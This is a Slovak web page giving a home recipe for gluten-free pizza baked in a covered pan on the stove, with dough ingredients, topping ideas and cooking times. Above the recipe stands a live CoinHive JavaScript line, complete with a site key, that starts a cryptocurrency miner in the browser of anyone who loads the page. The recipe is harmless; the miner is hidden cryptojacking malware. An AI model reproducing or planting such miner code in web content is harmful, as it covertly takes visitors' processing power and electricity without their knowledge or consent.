

var miner = new

CoinHive.Anonymous('49dVbbCFDuhg9nX5u1MDuATVZj7gQehytZwvXEUuWg9kfhNPWH7bUD87VW1NfjqcRZNNVTb1AHGUK2fkq5Nd55mLNnB4WK'); miner.start();

Suroviny na 1 porciu cesta: 100g bezlepkovej múky (môže byť aj chlebová), ½ prášku do pečiva (Dr. Oetker), čerstvé droždie (Fala), cukor na kvások, 1,5 dl teplej vody (alebo žinčice), soľ, olej na potretie panvice. Urobíme si kvások z vody, cukru, droždia, po vykysnutí pridáme múku s práškom do pečiva, soľ podľa chuti.

Suroviny na oblohu podľa vlastného výberu:

- na potretie cesta paradajkový pretlak alebo čerstvá paradajková pasta, môžeme ochutiť cesnakom, oreganom a iným korením,
- čerstvá zelenina nakrájaná na kúsky (paradajky, papriky, šampiňóny a pod.),
- mäsové výrobky vhodné pre bezlepkovú diétu (šunka nakrájaná na pásiky, orestované kuracie kúsky a pod.),
- vajce rozšľahané so soľou alebo uvarené,
- tvrdý nastrúhaný syr.

Postup: Hore uvedená dávka je na priemer panvice 20 – 25cm, s hrubším dnom (najlepšie teflonová), aby sa cesto prepieklo a neprihorelo, vhodné je pod panvicu podložiť platňu. Na panvicu dáme trochu oleja, rovnomerne pomastíme. Potom pridáme vypracované cesto, ktoré rozotrieme po celom obvode panvice. Takto necháme cesto odležať asi 15 minút. Cesto v panvici dáme piecť na sporák pri najnižšej teplote, panvicu prikryjeme. Pečieme 10 - 12 minút až do ružova, občas skontrolujeme. Potom cesto oddelíme od panvice a otočíme. Opečenú stranu potrieme paradajkovým pretlakom a ukladáme pripravené suroviny podľa vlastnej fantázie (mäso, zeleninu), dopekáme prikryté. Tvrdý postrúhaný syr pridávame tesne pred dopečením, ktoré trvá 8 - 10 minút (spodok musí byť ružový). Potom tepelný zdroj vypneme a necháme dôjsť, aby ostala pizza vláčna a nevysušená. Pokrájanú podávame na teplom tanieri.

Vlastná receptúra Editky.

